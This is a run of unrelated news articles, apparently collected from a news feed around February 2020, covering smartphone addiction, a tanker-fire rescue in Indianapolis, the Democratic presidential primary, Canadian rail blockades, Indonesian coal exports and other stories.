SPA. The study also showed that people with SPA suffer from "reduced resting-state activity of the anterior cingulate cortex." It has a devastating effect on young children Smartphone addiction is a growing concern among scientists and medical professionals as children spend a lot of time on their phones daily. In fact, there is a reported statistic which found 53% of children own a mobile phone by the age of seven years old wherein they sleep with their phone by their bed and almost 39% of young kids say they could not live without their phones. In fact, children and young people have a 'problematic' relationship with smartphones causing addiction which is 23% of them and that's basically a lot. Read Also: Samsung's $1,400 Dollar Galaxy Z Flip Phone is Riddled with Unwanted Ads Elements of addiction include mental health issues such as anxiety when the phone is unavailable, stress, poor sleep and depressed moods all throughout. Other effects include, information overload, cybersex addiction, and online compulsions"Smartphones are here to stay and there is a need to understand the prevalence of problematic smartphone usage. We don't know whether it is the smartphone itself that can be addictive or the apps that people use." said Co-senior author Dr Nicola Kalk from the Institute of Psychiatry, Psychology and Neuroscience (IoPPN). Read Also: Samsung's Galaxy Fold 2 Will Get an Under-the-Display Camera 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. A woman returning home from the hospital after giving birth four days prior and another truck driver are heroes after they ran into a highway inferno caused by an overturned tanker carrying jet fuel and extinguished a fire that engulfed the driver. The incident took place on the ramp connecting Interstate 465 southbound with I-70 eastbound in Indiana just before 2pm on Thursday. A tanker hauling about 4,000 pounds of jet fuel overturned and exploded, igniting a massive fire that forced the closure of lanes and backed up traffic on both highways. When the semi overturned, the tank split open, causing massive damage, authorities said. We see a plume of smoke, huge smoke, Holly McNally, 35, told WTHR-TV. Holly McNally (left), 35, and Mitch Navarre (right), 50, helped save the life of a driver on an east Indianapolis highway on Thursday A tanker carrying some 4,000 pounds of jet fuel overturned and exploded on Thursday Cell phone video captured by drivers nearby shows large plumes of smoke and fireballs emanating from the tanker The incident took place on the ramp connecting Interstate 465 southbound with I-70 eastbound just before 2pm on Thursday The overturned tanker and the explosions caused major traffic jams on two highways The image above shows the tanker catching fire on the ramp connecting the two highways in Indianapolis on Thursday Like it looked like a warehouse on fire. McNally was driving the car with her mother in the passenger seat on their way back home after she gave birth to her fourth child on Monday. I saw the actual semi on fire and then looked to the front of the semi and then I see a man on fire, like his head was burning, she said. The man, 59-year-old Jeffrey Denman of Brownsburg, Indiana, suffered significant burns and was rushed to Eskenazi Hospital. He is listed in critical condition. I told my mom, I'm stopping and I'm going over there, and she's like, No you're not. I was like, I am. McNally said: I stopped and jumped the guardrail, ran down the big old ramp and back up the ramp to him. When McNally reached the semi, another Good Samaritan, 50-year-old Mitch Navarre, was there, as well. McNally and Navarre used a coat to put out the fire that was burning Denman. Only thing on this man's body were his boots, clothes were dripping off, McNally said. There was nothing on him. Nothing. Denman told McNally that his name was Jeff and that he was hauling jet fuel. He told McNally that the jet fuel was now on fire. The flames were now coming closer toward them. I was like, Oh my Gosh! We have to go now, McNally told Denman and Navarre. The remains of the jet fuel tanker are seen above after firefighters put out the flames on Thursday Firefighters are seen above putting out what remains of the flames near the tanker The driver, Jeffrey Denman, 59, of Brownsburg, Indiana, was taken to a hospital. He is listed in critical condition The above image shows the destroyed tanker on the highway ramp in east Indianapolis on Thursday Authorities said that after the tanker overturned, it then split open, allowing the jet fuel to leak The overturned tanker and the subsequent fire caused damage to the roadway Firefighters douse the final remnants of the flames at the site of the overturned tanker on Thursday I was on Jeff's left side, the other guy was on his right and we're trying to carry him down, McNally said. She said that the fire kept growing from the embankment down below. It was getting closer and closer. A few moments later, the tanker exploded in the exact spot where they were standing just a few minutes beforehand. 'If we would not have moved and gotten out of that area, we all would have been gone,' Holly said. Smoke was hitting us, she said. There was a part of my brain, everybody's brain, where you think, When do I cut? You know what I mean? When do I quit helping? but that never hit me. I couldn't quit. Navarre was driving his own semi-truck west on I-70 when the tanker in front of him flipped on the ramp to I-465 southbound. He ran across several lanes of interstate traffic and approached the tanker truck driver, whose clothes were on fire. As I was coming with my truck I saw the man, Navarre told WRTV-TV. He was burning and everyone was on their cell phone. The first thing that came to mind, I just parked the truck and jumped the highway and went onto the hill and tried to literally get the man out of that fire. I wasn't just trying to be famous or to be on TV. In fact when that happened, I just walked away. This man was burning. This man was actually fried. Navarre removed his coat and put it around the injured trucker. He said that the smoke around them became thicker and darker. Navarre noticed that the jet fuel began to explode. As I saw him getting ready to die, he knew he was gonna die, he said. I said I'm going to get you out. I don't know how, the whole flame was inside, we were inside the flame. Nobody saw us. McNally had just given birth to her fourth child, son Connor, whom she was visiting at the neonatal intensive care unit She was driving back home on Thursday after visiting Connor at the NICU when the tanker accident took place McNally helped Navarre carry Denman to the bottom of the ramp, where they were met by a civilian and a state trooper. Navarre, a former dean of a local school, works as a truck driver while also pursuing his PhD in leadership. He said: I heard some people say, Youre gonna die together. As they said that, I said to that guy, Im going to get you out. As I was coming out, everybody was saying I was a hero. I said, no, I was a human first. McNally, a stay-at-home mom, says it was the most intense experience of her life. Besides delivering a baby. That was crazy, yes, she said with a laugh. McNally gave birth to Connor on Monday. After going into labor, she managed to deliver her son on her own in the emergency room. The doctor didn't make it in time and the ER doctor didn't make it in time, she said. When asked if she was always this much of a bada**, she replied: I try to be. The company that employs Denman, Jet Star Inc, posted a statement on Facebook on Friday. We would like to thank everyone for the amazing outpouring of support, prayers and concern for our driver Jeffrey Duke Denman following yesterdays tragedy involving one of our trucks on the east side of Indianapolis, read the statement I try to be so my kids think I'm cool and strong. McNally says that she was thinking of her newborn when she ran into the inferno. I was like, What if that's my son? What if that were Connor when he's 30? McNally expects to bring Connor home on Monday from the neonatal intensive care unit. The company that employs Denman, Jet Star Inc, posted a statement on Facebook on Friday. We would like to thank everyone for the amazing outpouring of support, prayers and concern for our driver Jeffrey Duke Denman following yesterdays tragedy involving one of our trucks on the east side of Indianapolis, read the statement. We are grateful that no one else was injured or involved. We would also like to offer a heartfelt thank you to the brave Good Samaritans that rushed to aid our driver and help him escape from further harm. We would also like to thank all of the first responders and various public safety agencies involved, firefighters, EMS, EMA, law enforcement and INDOT. Thank you for your continued support and thoughts and prayers for our driver. Presidential candidate Pete Buttigieg used a TV appearance to fire back at recent homophobic comments from conservative radio host Rush Limbaugh. When asked by host Ellen DeGeneres to respond to Mr Limbaughs remarks, Mr Buttigieg responded: I guess he just has a different idea of what makes a man than I do. Mr Limbaugh recently questioned on air whether the US electorate would accept the idea of a gay president, saying: OK, hows this going to look? 37-year-old gay guy kissing his husband on stage, next to Mr Man, Donald Trump. After his words were condemned across the political spectrum, he claimed that Donald Trump had called him to say he should never apologise for what he said. In his appearance on Ms DeGeneress show, Mr Buttigieg focused on the question of masculinity, and the idea that a man kissing his husband might be thought weak. Democratic candidates compete on the campaign trail: In pictures Show all 18 1 /18 Democratic candidates compete on the campaign trail: In pictures Democratic candidates compete on the campaign trail: In pictures Jessica Canicosa, a precinct captain for Bernie Sanders, waits to greet caucus voters at Liberty High School in Henderson, Nevada REUTERS Democratic candidates compete on the campaign trail: In pictures Hotel workers at the Bellagio in Las Vegas get to grips with voting papers during the Nevada caucuses AFP via Getty Images Democratic candidates compete on the campaign trail: In pictures A caricature of Bernie Sanders is projected on to a tree during a rally in Las Vegas EPA Democratic candidates compete on the campaign trail: In pictures A woman waits to have a photo taken with Elizabeth Warren during a town hall meeting in Las Vegas REUTERS Democratic candidates compete on the campaign trail: In pictures The threat of coronavirus and other germ-borne illnesses was on some voters' minds at the Democratic caucuses in Henderson, Nevada Getty Images Democratic candidates compete on the campaign trail: In pictures Former vice-president Joe Biden takes a selfie with a voter in Las Vegas ahead of the Nevada caucuses REUTERS Democratic candidates compete on the campaign trail: In pictures Amy Klobuchar changes her shoes backstage after giving a speech in Exeter, New Hampshire AFP/Getty Democratic candidates compete on the campaign trail: In pictures A warmly-wrapped-up dog attends an Elizabeth Warren event at Amherst Elementary School in Nashua, New Hampshire AFP/Getty Democratic candidates compete on the campaign trail: In pictures Bernie Sanders, who romped to victory in New Hampshire against Hillary Clinton in 2016, talks to the media in Manchester Getty Democratic candidates compete on the campaign trail: In pictures Joe Biden was hoping to improve on his poor showing in Iowa in the New Hampshire primary Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren, renowned for giving time to supporters for selfies, works the crowd at the University of New Hampshire in Durham Getty Democratic candidates compete on the campaign trail: In pictures Joe Biden takes a selfie with a supporter and his child outside a campaign event in Somersworth, New Hampshire on 5 February Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren and Bernie Sanders quarrel after a confrontation in a TV debate in which Sanders claimed that Warren was not telling the truth about a conversation in which she claimed he had said a woman could not win the presidency on 14 January AP Democratic candidates compete on the campaign trail: In pictures Supporter Pat Provencher listens to Pete Buttigieg in Laconia, New Hampshire on 4 February Getty Democratic candidates compete on the campaign trail: In pictures Pete Buttigieg speaks at a campaign event in Concord, New Hampshire while awaiting the results of the Iowa caucus Reuters Democratic candidates compete on the campaign trail: In pictures Elizabeth Warren is presented with a balloon effigy of herself at a campaign event in Nashua, New Hampshire on 5 February Reuters Democratic candidates compete on the campaign trail: In pictures A Trump supporter rides past a rally for Amy Klobuchar in Des Moines, Iowa on 14 January AP Democratic candidates compete on the campaign trail: In pictures A man holds up a sign criticising billionaires in the presidential race in front of Michael Bloomberg in Compton, Califronia. The former New York mayor skipped the first caucus in Iowa and instead campaigned in California on 3 February Reuters Since when is strength about the chest-pounding and the loud-mouthed guy at the end of the bar? he asked. The strongest people I know are not the loudest people. Theyre the ones who have the deepest sense of who they are, and what they value, and what they care about. Mr Buttigieg then paid tribute to his husband Chasten, who was sat in the front row of the audience. Recommended Buttigieg mocks Trump for paying hush money to Stormy Daniels And one of those people by the way, one of the strongest people I know, is my husband, Brad Pitt. During his interview with Ms DeGeneres, Mr Buttigieg also questioned to what extent Mr Trump meets the traditional definition of masculinity: You know, when I was packing my bags for Afghanistan, Donald Trump was working on season seven of Celebrity Apprentice. As the Democratic presidental primary continues, Mr Buttigieg is still riding high from his strong showings in Iowa and New Hampshire, but has yet to rise towards the top of the national polls, in which Bernie Sanders still leads the other candidates by a significant margin. White Label VoIP Company Telinta Partners with Ding Mobile Top-Up When VoIP service providers want to skip the necessity of providing their own hardware or even their own software, they approach a company like Springfield, New Jersey-based Telinta. Telinta is a provider of scalable, cloud-based white label switching and billing solutions for VoIP service. It offers hosted PBX, SIP trunking, business VoIP, virtual office services and more. Its now embracing one of the fastest-growing businesses in the telecom industry worldwide: mobile top-up. Mobile top-up is an online service that allows pay-as-you-go mobile phone users to transfer credit to their mobile phones (or that of a family member or friend) using a credit or debit card. Using these credits, phone users can then make or receive calls, send and receive texts and use data. Telinta recently announced a partnership with Ding, which calls itself the worlds largest international mobile top-up platform. The two companies are putting forth a solution that will meet the needs of mobile top-up service providers. Ding, which is based in Dublin, Ireland, sells airtime credit in 140 countries around the world thanks to its global network of over 500 mobile operators. It addition to its Dublin headquarters, it has regional offices in Barcelona, Bucharest, Dhaka, Dubai, New Jersey, Miami, Paris, and San Salvador. Thanks to the new partnership and an API, service providers can use Telintas cloud-based platform to provide top-up to an unlimited number of resellers and end users, with their own brand and pricing. This includes brandable portals for in-person payments at retail locations, variable reseller commissions per operator and per country, detailed reporting, reseller admin portals for online pre-payments by credit/debit cards and PayPal, and more. As the number one international mobile top-up platform in the world, Ding has been keeping people connected since 2006, and today demand for airtime and data continues to grow from prepaid phone users around the world, said James Hall, head of the Americas at Ding. As demand grows mobile top-up is a hugely attractive add on to a wide variety of businesses and represents a significant revenue generator for our partners around the world. Ding customers signing up for new service will qualify for a one-time $400 credit from Telinta on their first monthly invoice. Telinta customers signing up for new Ding service will receive a special promotion. Please enable JavaScript to view the Edited by Maurice Nagle NEWPORT, Ky. - A Kentucky woman pleaded guilty on Thursday to manslaughter in a car crash that killed a white supremacist leader. Emily Sherry, 24, entered her plea in the April 2018 death of Robert Ransdell, 37. Sherry was driving under the influence on Interstate 275 when she veered into oncoming traffic and struck Ransdells car, police had said. The vehicle flipped multiple times before colliding with a tree and pinning Ransdell under the cars tire, according to police. Ransdell was pronounced dead at the scene and a coroner later ruled he died from blunt force trauma. Sherrys blood alcohol level was recorded at 0.422, which is five times more than the legal limit, according to police, who said Sherry also tested positive for marijuana. Sherry will be sentenced on March 31 and faces up to 17 and 1/2 years in prison. She had initially been charged with murder in the case. Ransdell was the leader of the Cincinnati, Ohio, operations of the National Alliance, which has been described as a mostly defunct white supremacist group with deeply anti-Semitic and anti-immigrant beliefs. He also ran unsuccessfully for the U.S. Senate in Kentucky in 2014. (TNS) A cellphone companys plan to rebuild an antenna site in San Anselmo, Calif., is drawing fervent opposition from residents who say they are concerned about negative health effects from wireless technology.AT&T is seeking a permit to replace its equipment at 32 Red Hill Ave., where the company has two cellular antennas attached to a 62-foot flagpole. Though AT&T hasnt submitted a formal application to San Anselmo, the company provided the town with a preview of its plan, which calls for replacing the flagpole with a 60-foot pole disguised as a eucalyptus tree and installing nine antennas on the post.More than 50 people showed up to protest the proposal on Thursday during a community meeting at the site with an AT&T spokesman. Many said they were concerned that adding new antennas could be detrimental to residents health.Were concerned, said Linda Brauner of Forest Knolls. Whats happening is killing people, literally.Brauner and several others said the frequencies emitted by cellular antennas can cause symptoms ranging from headaches to cancer to death.Alan Rasooli, who owns Spotless Cleaners, located on the same property as the antennas, said the facility has affected my quality of life. He said the electromagnetic frequencies, or EMFs, emitted by the antennas have hurt his health.I basically work at this location at least 10 hours a day, he said. Being bombarded by these EMFs is driving me crazy. And its going to get worse.The Federal Communications Commission, which regulates the telecommunications industry, prohibits local governments from restricting wireless-transmitting hardware on the basis of health concerns. The commission has determined what it calls safe levels of emissions and says that technology that complies with its standards cant be prohibited.Some protesters said they were especially concerned that AT&T would eventually add antennas that support the fifth-generation wireless technology, known as 5G, to the new pole.My primary concern is that this is a gateway to 5G, said Fairfax resident Tom McAfee.AT&T spokesman Shane Woodruff, however, told the crowd on Thursday that the new facility wouldnt include 5G.The new technology, which hasnt yet arrived in Marin, operates on higher radio frequencies than older iterations of wireless. Critics of 5G in Marin say the technology might exacerbate their health concerns.Woodruff said AT&T has identified coverage gaps in Marin that the new antennas would help close.I understand that theres not one person here thats in favor of this, he told the crowd. I will communicate all the feedback that has been given here.San Anselmo Mayor Ford Greene attended the meeting and asked Woodruff to schedule another community session before the company submits a formal application to the town. He said residents werent given enough notice prior to the meeting, and that the 10:30 a.m. event wasnt scheduled at a convenient time for working San Anselmo residents. Paris Hilton was in her element on Thursday night as she partied the night away celebrating her 39th birthday at a 'sliving' themed bash. With all eyes on her, the socialite and DJ wowed her party guests as she took over the dance floor, with some very raunchy moves, wearing a plunging silver mini dress and sky high ankle boots. Grooving to throwback tracks like Britney Spears' ...Baby One More Time and 50 Cent's In da Club, Paris shimmied around before dropping it low and getting on all fours. Sliving hard: Paris Hilton wowed party guests at her 39th birthday bash on Thursday performing raunchy dance moves to Britney Spears and 50 Cent Sexy show: The socialite partied like a rockstar at the Slivington Manor in Beverly Hills which attracted a host of famous faces In video first obtained by TMZ, Paris is seen wearing cat-eye sunglasses and strutting around in circles as she twirls around provocatively and shakes her long blonde tresses. At one point she is joined on the dance floor by sister Nicky, 36, before her sibling clears the way for Paris to showcase more of her moves. Paris was surrounded by family as well as celebrity guests including Kim and Kourtney Kardashian who stopped by. The siblings reportedly had E! cameras with them for their show Keeping Up With The Kardashians. Skimpy: Wearing sunglasses, the model strutted around showing off her long slender legs in a plunging mini dress Sky high: Her moves were all the more impressive considering the size of her glittery heeled boots In the spotlight: Paris loved every second of being in middle of the dance floor with all eyes on her At one point she was joined on the dance floor by sister Nicky, 36, before she cleared the way for Paris to showcase more of her moves. A source told ET that the duo - who were dressed in sweats - stayed for only about 30 minutes but it was long enough for Paris to catch up with her old party pal. 'Paris and Kim bonded just like the old days,' the insider said. 'Sliving,' a slang term coined by Paris that combines the words 'slaying' and 'living,' was the night's theme and the hotel heiress made sure the vibe ran throughout the party. Held at a property in Beverly Hills, Paris had a 'sliving' themed cake, neon signage, giant balloons and a neon tie-dye BMW. Those entering the party were greeted by a 'Slivington Manor' neon sign that glowed in Paris' favorite color. Mommy and me: Rocking her party's custom Instagram filter, Paris posed with her mother Kathy Hilton (left) inside the venue All together now: Paris and Nicky seen inside the party with a friend Her Prince: Paris shared a tender moment with her entrepreneur boyfriend Carter Reum (right) Happy Birthday Paris! The now 39-year-old star graced her party guests in a stunning silver dress that glistened in every direction Barbie girl: The heiress had numerous cakes, but one cake in particular featured a major nod to her 'sliving' theme as well as her love of Barbie The unique theme was embraced further through the use of a 'sliving' Instagram filter created specifically for the now 39-year-old. As she made her way around her party in her slinky dress, Paris stopped to share a tender moment with her entrepreneur boyfriend, Carter Reum. A source told Us Weekly: 'Her boyfriend seemed so supportive and like he loved that she was having so much fun celebrating,' Paris is said to be 'super serious' about the VEEV Spirits cofounder. The couple made things official earlier this year when they were spotted all over each other at an awards after party. Come on in! Guests were greeted by a glowing neon pink sign that read: 'Slivington Manor' Celebrate: The venue was decorated with massive pink balloons up the grand staircase Getting tipsy: Guests were treated to tequila from mini bottles of Casamigos Photo-op: Parked at the party was a custom technicolor BMW that Paris named the 'SlivMobile' The Simple Life star was treated to two birthday cakes, one decorated in a barrage of Barbie and another dressed more simply in white and red icing that read 'Happy Birthday Paris.' For refreshments, guests sipped on Casamigos tequila cocktails and snacked on pizza. Sister Nicky was in charge of presenting Paris with her first cake, which would require the Simple Life star to make her big birthday wish. Celebration: Kim Kardashian (left) attended longtime friend Paris's party with sister Kourtney Kardashian (right) A source told ET that the duo - who were dressed in sweats - stayed for only about 30 minutes but it was long enough for Paris to catch up with her old party pal The stunning siblings later danced upon a marble table top, after Paris had grabbed a microphone to address her party's crowd. Hilton documented all of her birthday shenanigans on her Instagram page, which included an array of gorgeous seflies, as well as videos of the party's ambiance. Among the famous faces at the bash was Chris Brown, Heidi Klum and husband Tom Kaulitz, Larsa Pippen, Charlotte McKinney, French Montana, Machine Gun Kelly, Rita Ora, Stephen Dorff and Len Wiseman with Jessica Szohr. R&B star: Chris Brown showed up to Hilton's birthday party in an eye-catching Supreme jacket that featured a menacing skull and flames Hand-in-hand: Supermodel Heidi Klum (left) was fashionably fluffy in a tweed jacket, as she walked hand-in-hand with her husband Tom Kaulitz (right) Showing some skin: Models Jasmine Sanders and Charlotte McKinney dressed to kill A suspect fatally shot himself late Thursday after leading police on a northbound pursuit on the Gulf Freeway, according to authorities. The chase ended around 9:15 p.m. on the Gulf Freeway near NASA Parkway in Webster. All northbound lanes are currently shut down. Six U.S. Democratic presidential candidates squared off in a contentious debate late Wednesday, with billionaire former New York Mayor Michael Bloomberg the target of sharp attacks from his challengers in their first face-to-face encounter. Senators Bernie Sanders of Vermont and Amy Klobuchar of Minnesota immediately accused Bloomberg of trying to buy the Democratic nomination by spending nearly $400 million of his own money on a massive national political advertising campaign, even as he skips party nominating contests in four states this month where Democrats are casting the first votes to eventually pick a nominee in July. Klobuchar said she did not think American voters look at Republican President Donald Trump and say "we need someone richer" like Bloomberg, the world's 12th richest person. Bloomberg, in his first political debate since 2009, when he last ran for mayor of the country's largest city, responded that he did not inherit wealth like Trump, but earned it by founding and operating his eponymous business information company. "Now I'm spending that money to get rid of Donald Trump, the worst president the country has ever had," Bloomberg said. Sanders, who is leading in the national polls and won the popular vote in the first two primary tests this month in Iowa and New Hampshire, argued that he was best equipped to attract the largest voter turnout in history to unseat Trump in the November general election. However, Bloomberg swiftly attacked Sanders, a self-described democratic socialist, as unelectable in November's national election against Trump, in part because of Sanders' proposed government-funded universal health care program, "Medicare for all," that could possibly eliminate private insurance coverage for 160 million Americans. "I don't think there's any chance of the senator beating President Trump," Bloomberg said. "If he goes and is the [Democratic] candidate, we will have Donald Trump for another four years, and we can't stand that." Bloomberg also absorbed attacks for a policy he adopted as New York mayor from 2002 to 2013, a police tactic called "stop and frisk," where authorities randomly stopped people on city sidewalks they believed posed a threat, often young black and Latino men, to frisk them in an effort to get guns out of crime-ridden neighborhoods. Sanders, the current front-runner, called the policy "outrageous." Former Vice President Joe Biden described the policy as "abhorrent," saying that the administration of President Barack Obama, of which he was part, contested it and Bloomberg defended it. Bloomberg conceded the policy "got out of control" and that he now is "embarrassed" by the policy and the fact it took him so long to phase it out. "The bottom line was we stopped too many people," Bloomberg said. Senator Elizabeth Warren of Massachusetts pressed Bloomberg to explain countless sexist and misogynistic comments he made over the years at his company. She demanded that Bloomberg release women from non-disclosure agreements they signed when they accepted financial payments for the demeaning conduct, "so we can hear their side of the story." But Bloomberg refused, saying he would not release the women from the agreements because he said they also wanted them to remain sealed. Biden chided Bloomberg as well, saying, "This is about transparency, this is what you did to me." "I have no tolerance for the kind of conduct the 'Me Too' movement has exposed" of powerful men abusing and harassing women in the workplace, Bloomberg said. He cited the number of female executives he employs and that they are paid the same as men. GRANDVIEW, MO (KCTV) - The city of Grandview is moving forward with reopening a gun range that was previously shut down because neighbors complained about the relentless noise. City officials held an open house to talk about solutions Thursday. The UP Sunni Central on Friday said it does not have the option to reject the alternative piece of land given to it under the Supreme Court's Ayodhya verdict but will decide how to use it when it meets on Monday. In a historic verdict in November on the Ramjanmabhoomi- dispute, the Supreme Court ruled in favour of construction of a temple. It also ruled that an alternative five-acre plot must be found for a mosque. Soon after the verdict, there were suggestions that the board should not accept the land. "Following the Supreme Court verdict, the Sunni does not have the choice of rejecting the five-acre alternative land for the construction of a mosque in Ayodhya as it would amount to contempt of court," Farooqui said. "We had been saying since the very beginning that we will abide by the court verdict on the issue, and because of this we did not go in for a review of the verdict. There has been no shift in our stand," he said. "But on how to use the land given to us by the government, it will be decided at the all important- meeting of the board slated on Monday, he said. Farooqui said the apex court order clearly stated that the Uttar Pradesh government will allot a plot to the board and we had the liberty to build a mosque and associated amenities on it. It did not say that the board had the liberty of rejecting it," he added. Besides Farooqui, there are seven other members on the Sunni Earlier this month, the Uttar Pradesh government gave the allotment letter to the board for the plot in Dhannipur village in Ayodhya's Sohawal tehsil. It is on the Ayodhya-Lucknow highway, about 20 km from the district headquarters. Based on the SC verdict, the Centre had asked the Uttar Pradesh government to allot five acres of land to the Sunni Waqf Board. The state cabinet made the allotment after its meeting of February 5. By Ron Kampeas WASHINGTON (JTA)A Minnesota congresswoman called AIPAC a hate group inciting against her after the Israel lobby featured her in an attack ad. AIPAC claims to be a bipartisan organization, but its use of hate speech actually makes it a hate group, U.S. Rep. Betty McCollum, a Democrat, said Wednesday in a statement. By weaponizing anti-Semitism and hate to silence debate, AIPAC is taunting Democrats and mocking our core values. The American Israel Public Affairs Committee declined to comment. The lobby removed and apologized last week for at least two Facebook ads that slammed radical Democrats in Congress, and altered an online petition that said Israels harshest critics in Congress pose a threat maybe more sinister than ISIS and other terror groups. This is not a call to action, it is incitement, McCollum said. Elected representatives in Congress more sinister than ISIS? Last year, I met with AIPAC representatives from Minnesota in my office. Do forces more sinister than ISIS sit down and meet with AIPACs advocates? On Twitter, McCollum rejected what she called AIPACs non-apology. In its statement of apology, AIPAC said the ad was poorly worded and inflammatory, but also said it alluded to a genuine concern of many pro-Israel Democrats about a small but growing group, in and out of Congress, that is deliberately working to erode the bipartisan consensus. One of the ads was illustrated by a collage of three of Israels toughest critics in Congress, including McCollum, who is the lead sponsor of a bill that would link Israels assistance to its treatment of Palestinian juvenile detainees. McCollum publicly rebuked AIPAC in 2006 after a lay leader of the group lashed out at her for backing funding for the Palestinians. MONTREAL - A rail blockade in eastern Ontario has led to backlogs at Canada's three biggest ports, prompting some shippers to take their business elsewhere as cargo piles up and dockworkers' paycheques shrink. Hey there, time traveller! This article was published 21/2/2020 (690 days ago), so information in it may no longer be current. A driver heads to his propane truck after filling up in Dartmouth, N.S. on Friday, February 21, 2020. Rail service across the country has been disrupted by protests related to the construction of a natural gas pipeline in British Columbia and the supply of many commodities, including propane, has been severely impacted. THE CANADIAN PRESS/Andrew Vaughan MONTREAL - A rail blockade in eastern Ontario has led to backlogs at Canada's three biggest ports, prompting some shippers to take their business elsewhere as cargo piles up and dockworkers' paycheques shrink. Now in its third week, the protest along Canadian National Railway tracks east of Belleville, Ont., has halted CN's eastern network about one-quarter of its operations and choked shipments from coast to coast. Atlantic Container Line (ACL), a major U.S. shipping line, is diverting from the Port of Halifax in favour of U.S. harbours. The company, which typically berths two ships a week, is now docking in New York and Baltimore to run cargo inland on American railroads, chief executive Andrew Abbott said. "It's our gateway port for North America. So if you take out the rail, it knocks out 90 per cent of the cargo that we were putting on the ship," said Abbott, whose company has been calling on the Halifax port for more than 50 years. "It's commercial damage to Canadian manufacturers. It's financial damage to the guys who are bringing in French wine and cheese or Walkers butter cookies, because they're not going on the shelves," Abbott said. "Everybody's paying a piece." Halifax longshoremen are also working and earning less, as more than 60 per cent of freight that passes through the port is bound for trains that can no longer be loaded, port authority spokesman Lane Farguson said. The blockade disrupts business for everyone from stevedores to truckers, packers, importers, exporters and the ports and railways themselves. "It is certainly a challenging situation for everyone involved." In Montreal, some 4,000 containers sit immobilized on the docks and Prairie bulk products like grain can no longer reach the port. "We are obviously concerned about this situation, which has significant impacts on the economy and the transport logistics chain serving the port," spokeswoman Melanie Nadeau said in an email. Meanwhile, the number of ships waiting at anchor to enter Vancouver-area terminals has more than doubled to 50 due to the clogged transportation system, though no vessels are opting for U.S. ports as a result, said Vancouver Fraser Port Authority spokeswoman Melanie Nadeau. Nearly two weeks ago, protesters barred road access to Canada's biggest freight hub for several days, one of many pop-up blockades at ports, rail lines and roads across the country. CN closed its critical eastern network eight days ago after protesters set up a blockade in Tyendinaga Mohawk Territory on Feb. 6 in support of Wet'suwet'en hereditary chiefs who oppose a natural gas pipeline slated to pass through their traditional lands in British Columbia. The rail shutdown is rippling out to other sectors. Superior Propane, Canada's largest supplier of the fuel, said the situation is getting dire as it begins to ration distribution in Atlantic Canada over concerns that hospitals, nursing homes and households could run out of their primary heat source. "This is a crisis that is unfolding. Unfortunately if it goes on many more days it will be very difficult for the propane industry to recover quickly enough to keep people in supply," chief executive Greg McCamus said in a phone interview. The Quebec government launched a contingency plan Tuesday that requires all 63 suppliers in the province to ration propane. About 80 per cent of it typically arrives via tank car. "Ive been in this industry for 35 years. Ive never seen a situation like this one in the past," said Raymond Gouron, head of Quebec's propane association. The rail closure has squeezed the supply chain, triggering truck lineups as long as 10 hours for propane in Sarnia, Ont., according to Canadian Propane Association CEO Nathalie St-Pierre. The blockades also hinder west-to-east flow of household items from produce to plywood, Band-Aids and canola oil, and raise the cost of others, said Retail Council of Canada spokesman Karl Littler. "In terms of the mass carried, rail is far more efficient. So youve got potential price impacts if everything that was formerly moved by rail is moved by truck" a sector already facing a severe shortage of drivers. The effects are likely to be felt more keenly in smaller cities and towns, particularly in Eastern Canada, he said. "Were not talking about some Soviet store where youve got two cans of gherkin," Littler added. "But a lot of items are stuck 6,000 kilometres away in Vancouver." The broader impact on the economy may only amount to a hit of 0.2 percentage points to quarterly GDP growth, said RBC economist Nathan Janzen likely in the tens of millions of dollars. But the ripple effects are being felt "acutely" by some in the rail and manufacturing sectors. On Wednesday, Via Rail announced temporary layoffs for 1,000 employees as its Montreal-Toronto, Ottawa-Toronto and Montreal-Quebec City routes remain suspended indefinitely. The company said Friday evening that it planned to resume traffic on its Montreal-Ottawa route starting Saturday. Earlier this week, CN temporarily laid off about 450 workers from its operations in Eastern Canada after cancelling more than 400 trains since protests arose. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Major carriers are monitoring the blockades closely. German shipping giant Hapag-Lloyd continues to call on the Halifax port, but is reviewing the situation "with a view to potentially omitting or rerouting vessels," said spokesman Tim Seifert. The crisis is stranding an estimated $425 million in goods every day, according to the Canadian Manufacturers and Exporters trade group. Quebec Premier Francois Legault said Friday that the disruption is costing the province about $100 million a day, in spite of RBC's much lower estimate. CN alone is facing a roughly $50-million dent to earnings due to the blockades, CIBC analyst Kevin Chiang inferred from the impact of the CN rail strike last November. This report by The Canadian Press was first published Feb. 21, 2020. Companies in this story: (TSX:CNR) JAKARTA (Reuters) - Indonesian coal exports are being disrupted because the government has not issued technical guidance on the implementation of new shipping rules, an industry group said on Thursday. Indonesia, the world's biggest thermal coal exporter, in 2018 issued regulations requiring its coal and palm oil exporters to use domestic insurance and shipping companies. The insurance requirement was implemented last year and the shipping requirement will begin in May. Most coal sales from Indonesia are under free-on-board contracts, so overseas buyers who are in charge of securing vessels are still waiting for the Trade Ministry to issue technical guidance, said Hendri Tan, a deputy chairman of the Indonesia Coal Miners Association (ICMA). Some buyers, such as those from Japan, have started to divert their coal purchases to other countries due to the unclear protocol for vessel use, Tan said. "This is no longer a threat, but something that already happened according to reports from our members," he said. Hendra Sinadia, executive director of ICMA, urged the Trade Ministry to issue guidelines soon. He said last year, the government issued the technical guidelines for the insurance rules, which included a list of eligible insurance firms, only one day before the deadline for implementation. That had led to backlogs in ports. He said any delays for vessel arrangements would have an even bigger impact for shipments. Meanwhile, the group reiterated that the number of vessels operated by Indonesia companies was insufficient for the country's coal exports. (Reporting by Wilda Asmarini; Writing by Fransiska Nangoy) BISMARCK, N.D. North Dakota regulators on Wednesday unanimously approved expanded capacity for the Dakota Access pipeline, saying they believed the project had met exhaustive state and federal requirements. The 3-0 vote by the all-Republican Public Service Commission came after the body signaled last month it was likely to approve a permit to expand the capacity of the pipeline, despite objections from opponents who said it would increase the probability of a disastrous oil spill. Texas-based Energy Transfer proposed doubling the capacity of the pipeline last year to meet growing demand for oil shipments from North Dakota, without the need for additional pipelines or rail shipments. Commissioner Brian Kroshus said Wednesday that he believes the project would help take oil trucks off the road, reducing traffic fatalities. The company plans to build a $40 million pump station near Linton in southcentral North Dakota. The new station is necessary to increase the volume of oil the pipeline can move. The company also plans additional pumping stations in South Dakota, Iowa and Illinois. Commissioners in a South Dakota county last year approved a conditional use permit. Permits in the other states are pending. Iowa regulators want 